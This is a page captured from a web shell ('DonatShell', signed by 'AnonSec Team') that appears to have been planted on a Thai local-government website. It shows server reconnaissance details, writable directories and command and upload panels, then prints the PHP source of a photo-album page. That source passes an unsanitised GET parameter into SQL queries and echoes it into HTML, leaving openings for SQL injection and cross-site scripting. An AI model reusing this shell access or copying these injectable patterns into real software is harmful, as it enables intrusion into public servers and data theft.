%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/albums/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html/albums/activities.php
<?
Header("Content-Type: text/html; charset=UTF-8");;
$salb_id = $_GET['salb_id'];
if(!isset($salb_id) || empty($salb_id))
{
	die;exit;
}
include("../include/config.php");
include("../include/function.php");
include("../include/config_db.php");			

$c_alb_title = "";
$c_alb_description = "";
$c_alb_counter = "";
$sql = "select * from `activity_album` where (`id`='$salb_id') limit 1 ";
$result = mysql_query($sql) or die("Can't send query !A");
$num_rows = mysql_num_rows($result);
if($num_rows>0){
	$c_alb_title = mysql_result($result, 0,"alb_title");
	$c_alb_description = mysql_result($result, 0,"alb_description");
	$c_alb_clip = mysql_result($result, 0,"alb_clip");
	$c_date_publish = mysql_result($result, 0,"date_publish");
	$c_date = dateThai_MM($c_date_publish);
	$c_alb_counter = mysql_result($result, 0,"alb_counter");
	$c_alb_counter = $c_alb_counter + 1;
	$sql = "update `activity_album` set `alb_counter`='$c_alb_counter' where (`id`='$salb_id')";
	$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !B");
	unset($dbquery);
	//echo "<br>".$c_alb_counter." AAAAAAAA";
}
mysql_free_result($result);
unset($result);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title> อัลบั้มภาพ <?=$c_alb_title;?></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="KeyWords" content="<?=$c_alb_title;?>, องค์การบริหารส่วนตำบลเกาะสาหร่าย, ตำบลเกาะสาหร่าย, อัลบั้มภาพ" />
<meta name="Description" content="อัลบั้มภาพ <?=$c_alb_title;?> องค์การบริหารส่วนตำบลเกาะสาหร่าย  ตำบลเกาะสาหร่าย อำเภอเมือง จังหวัดสตูล 91000 : www.kohsarai.go.th pre-wedding" />
<meta name="ROBOTS" content="index, follow" />
<meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
<meta http-equiv="EXPIRES" content="Sun, 1 Jan 2000 12:00:00 GMT">
<meta http-equiv="PRAGMA" content="NO-CACHE">
<link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="../include/js/prototype.js"></script>
<script type="text/javascript" src="../include/js/scriptaculous.js?load=effects"></script>
<script type="text/javascript" src="../include/js/lightbox.js"></script>
<link rel="stylesheet" href="../include/css/lightbox.css" type="text/css" media="screen" />
<style type="text/css">
<!--
body {
	 width: 100%;
 height:auto;

	  background-image:url(../images/images/bg3.jpg);

      background-repeat: no-repeat; background-position:top;
      background-size: 100%;
	font-family: thai_sans_literegular, thai_sans_literegular, Helvetica, sans-serif;
  background-color:#7f9e12;
}
.style2 {color: #CC6633}   
-->  
</style>
</head>
<body >
<style>

*{
    margin:0;
    padding:0;
    box-sizing:border-box;
}

/* =========================
BODY
========================= */

.activity-page{
    width:100%;
    background:#d9f3fb;
    padding:40px 0 80px;
    font-family:tahoma,'Sarabun',sans-serif;
}

/* =========================
CONTAINER
========================= */

.activity-container{
    width:100%;
    max-width:1280px;
    margin:auto;
    background:#efefef;
    padding:35px;
    box-shadow:0 10px 35px rgba(0,0,0,.12);
}

/* =========================
TITLE
========================= */

.activity-title{
    text-align:center;
    font-size:42px;
    color:#1565c0;
    line-height:1.5;
    margin-bottom:30px;
    font-weight:bold;
}

/* =========================
SLIDER
========================= */

.gallery-wrapper{
    position:relative;
    width:100%;
    max-width:980px;
    margin:auto;
}

.main-gallery{
    width:100%;
    height:620px;
    background:#fff;
    overflow:hidden;
    position:relative;
    box-shadow:0 5px 20px rgba(0,0,0,.12);
}

.main-gallery img{
    width:100%;
    height:100%;
    object-fit:contain;
    display:block;
}

/* =========================
ARROW
========================= */

.gallery-btn{
    position:absolute;
    top:50%;
    transform:translateY(-50%);
    width:70px;
    height:70px;
    border:none;
    border-radius:50%;
    background:rgba(255,255,255,.95);
    font-size:40px;
    color:#d6aa41;
    cursor:pointer;
    z-index:50;
    transition:.3s;
    box-shadow:0 4px 15px rgba(0,0,0,.15);
}

.gallery-btn:hover{
    transform:translateY(-50%) scale(1.08);
}

.gallery-prev{
    left:-90px;
}

.gallery-next{
    right:-90px;
}

/* =========================
COUNT
========================= */

.gallery-count{
    text-align:center;
    font-size:22px;
    margin:25px 0;
    color:#222;
}

/* =========================
THUMBNAIL
========================= */

.thumb-wrapper{
    width:100%;
    max-width:980px;
    margin:0 auto 35px;
    position:relative;
    background:#e7e7e7;
    padding:18px 70px;
}

.thumb-scroll{
    display:flex;
    gap:18px;
    overflow-x:auto;
    scroll-behavior:smooth;
    scrollbar-width:none;
}

.thumb-scroll::-webkit-scrollbar{
    display:none;
}

.thumb-item{
    min-width:120px;
    height:85px;
    overflow:hidden;
    cursor:pointer;
    border:4px solid transparent;
    transition:.3s;
    background:#fff;
}

.thumb-item.active{
    border:4px solid #d6aa41;
}

.thumb-item img{
    width:100%;
    height:100%;
    object-fit:cover;
}

/* =========================
CONTENT
========================= */

.activity-content{
    width:100%;
    max-width:980px;
    margin:auto;
    line-height:2;
    font-size:22px;
    color:#111;
    background:#fff;
    padding:35px;
    box-shadow:0 5px 15px rgba(0,0,0,.08);
}

/* =========================
COMMENT
========================= */

.comment-box{
    margin-top:35px;
    text-align:center;
}

/* =========================
RESPONSIVE
========================= */

@media(max-width:1200px){

    .gallery-prev{
        left:10px;
    }

    .gallery-next{
        right:10px;
    }

}

@media(max-width:768px){

    .activity-container{
        padding:15px;
    }

    .activity-title{
        font-size:28px;
    }

    .main-gallery{
        height:320px;
    }

    .gallery-btn{
        width:50px;
        height:50px;
        font-size:26px;
    }

    .thumb-item{
        min-width:90px;
        height:70px;
    }

    .activity-content{
        font-size:18px;
        padding:20px;
    }

}

</style>


<div class="activity-page">
<style>

/* =========================
BREADCRUMB
========================= */

.breadcrumb-wrap{
    width:100%;
    max-width:980px;
    margin:0 auto 30px auto;
    background:#ffffff;
    border-radius:14px;
    padding:18px 25px;
    box-shadow:0 5px 20px rgba(0,0,0,.08);
    font-family:tahoma,'Sarabun',sans-serif;
}

.breadcrumb{
    display:flex;
    align-items:center;
    flex-wrap:wrap;
    gap:10px;
    font-size:18px;
    line-height:1.8;
}

.breadcrumb a{
    text-decoration:none;
    color:#1565c0;
    font-weight:bold;
    transition:.3s;
}

.breadcrumb a:hover{
    color:#ef6c00;
}

.breadcrumb-sep{
    color:#999;
    font-size:16px;
}

.breadcrumb-current{
    color:#222;
    font-weight:bold;
}

.breadcrumb-date{
    color:#666;
    font-size:16px;
    margin-left:10px;
}

/* =========================
BACK BUTTON
========================= */

.back-btn{
    display:inline-flex;
    align-items:center;
    gap:8px;
    margin-top:15px;
    padding:10px 20px;
    background:linear-gradient(135deg,#1565c0,#0d47a1);
    color:#fff !important;
    text-decoration:none;
    border-radius:50px;
    font-size:16px;
    transition:.3s;
    box-shadow:0 4px 12px rgba(0,0,0,.12);
}

.back-btn:hover{
    transform:translateY(-2px);
    opacity:.92;
}

@media(max-width:768px){

    .breadcrumb{
        font-size:15px;
    }

    .breadcrumb-date{
        display:block;
        width:100%;
        margin-left:0;
    }

}

</style>


<div class="breadcrumb-wrap">

    <div class="breadcrumb">

        <a href="../index.php" title="หน้าแรก">
            🏠 หน้าแรก
        </a>

        <span class="breadcrumb-sep">></span>

        <a href="index.php"
           title="อัลบั้มภาพกิจกรรม">

            📸 อัลบั้มภาพกิจกรรม

        </a>

        <span class="breadcrumb-sep">></span>

        <span class="breadcrumb-current">

            <?=$c_alb_title;?>

        </span>

        <span class="breadcrumb-date">

            ( ประกาศเมื่อวันที่ <?=$c_date;?> )

        </span>

    </div>


    <!-- ปุ่มย้อนกลับ -->
    <a href="javascript:history.back();"
       class="back-btn">

       ⬅ กลับหน้าก่อนหน้า

    </a>

</div>

<div class="activity-container">

    <!-- TITLE -->
    <div class="activity-title">

        <?=$c_alb_title;?>

    </div>


    <!-- GALLERY -->
    <div class="gallery-wrapper">

        <button class="gallery-btn gallery-prev"
        onclick="prevSlide()">
        ❮
        </button>

        <div class="main-gallery">

            <img src=""
                 id="mainImage">

        </div>

        <button class="gallery-btn gallery-next"
        onclick="nextSlide()">
        ❯
        </button>

    </div>


    <!-- COUNT -->
    <div class="gallery-count">

        <span id="currentSlide">1</span> /
        <span id="totalSlide">0</span>

    </div>



    <!-- THUMB -->
    <div class="thumb-wrapper">

        <div class="thumb-scroll" id="thumbScroll">

<?php

$sql = "select *
        From `activity_album_detail`
        where (`alb_id`='$salb_id')
        Order by `id` Asc ";

$result = mysql_query($sql);

$gallery = array();

$index = 0;

while($row = mysql_fetch_assoc($result))
{

    $c_ald_name =
    trim($row["ald_name"]);

    $c_ald_photopath =
    trim($row["ald_photopath"]);

    $file_dir = 'a'.$salb_id.'_a';


    if($c_ald_photopath != "")
    {

        $thumb =
        "../photoThumbnail/albums/".$file_dir."/thumb/t_".$c_ald_photopath;

        $full =
        "../photoThumbnail/albums/".$file_dir."/".$c_ald_photopath;

    }
    else
    {

        $thumb = "images/noimage.gif";

        $full  = "images/noimage.gif";

    }

?>

            <div class="thumb-item <? if($index==0){ echo 'active'; } ?>"
                 onclick="showSlide(<?=$index;?>)">

                <img src="<?=$thumb;?>"
                     data-full="<?=$full;?>"
                     alt="<?=$c_ald_name;?>">

            </div>

<?php

$gallery[] = $full;

$index++;

}

mysql_free_result($result);

?>

        </div>

    </div>



    <!-- CONTENT -->
    <div class="activity-content">

        <?=$c_alb_description;?>

        <br><br>

        <?=$c_alb_clip;?>

    </div>



    <!-- COMMENT -->
    <div class="comment-box">

        <iframe
        src="activities_comment.php?salb_id=<?=$salb_id;?>"
        frameborder="0"
        width="100%"
        height="700"
        scrolling="no"
        style="border:0;">
        </iframe>

    </div>

</div>

</div>



<script>

const galleryImages = [

<?php

for($i=0;$i<count($gallery);$i++)
{

    if($i>0){ echo ","; }

    echo "'".$gallery[$i]."'";

}

?>

];

let currentIndex = 0;

const mainImage =
document.getElementById('mainImage');

const currentSlide =
document.getElementById('currentSlide');

const totalSlide =
document.getElementById('totalSlide');

const thumbs =
document.querySelectorAll('.thumb-item');


function updateGallery(){

    mainImage.src =
    galleryImages[currentIndex];

    currentSlide.innerHTML =
    currentIndex + 1;

    totalSlide.innerHTML =
    galleryImages.length;

    thumbs.forEach(item=>{
        item.classList.remove('active');
    });

    if(thumbs[currentIndex]){
        thumbs[currentIndex]
        .classList.add('active');
    }

}


function showSlide(index){

    currentIndex = index;

    updateGallery();

}


function nextSlide(){

    currentIndex++;

    if(currentIndex >= galleryImages.length){
        currentIndex = 0;
    }

    updateGallery();

}


function prevSlide(){

    currentIndex--;

    if(currentIndex < 0){
        currentIndex =
        galleryImages.length - 1;
    }

    updateGallery();

}


/* AUTO LOAD */

updateGallery();

</script></body>
</html>

Anon7 - 2022
AnonSec Team